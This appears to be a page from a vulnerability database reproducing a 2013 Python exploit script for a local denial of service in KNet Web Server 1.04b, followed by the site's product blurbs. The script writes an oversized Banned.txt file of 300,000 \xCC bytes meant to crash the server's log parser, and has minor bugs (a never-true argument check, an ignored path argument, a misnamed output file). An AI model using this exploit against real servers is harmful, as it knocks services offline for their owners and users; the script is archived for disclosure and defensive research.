`#!/usr/bin/python
# Exploit Title : KNet Web Server 1.04b Local Denial Of Service
# Date : 6 Jun 2013
# Exploit Author : ne0z
# Vendor Homepage : http://www.hatsecure.com
# Version : KNet Web Server 1.04b
# Tested on : Windows XP Profesional SP3
# Windows XP Profesional SP2
# Windows 7 Ultimate
#
# Description :
# KNet Web Server have banned log with location C:\\Program Files\KNet\Banned.txt
# The parser of the banned log is vulnerable, when size of content in Banned.txt more than 200 KB
# and then KNet Web Server will crash.
#
# To generate Banned.txt just simple (Windows)
# $ python KNet_DOS_exploit.py C://
#
# Then move the file from C:\\Banned.txt to C:\\Program Files\KNet\Banned.txt
import sys, os
arg = sys.argv
if (len(arg) < 1):
print "KNet v1.04b - Local DOS exploit"
print "Usage : "
print "$ python "+arg[0]+" [PATH]"
print "Example : "
print "$ python "+arg[0]
sys.exit(0)
try:
print "[X] Generate payload"
d = open("Banned.txt","w")
payload = "\xCC" * 300000
d.write(payload)
d.close()
print "[X] Saved to Banner.txt"
except:
print "Error"
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation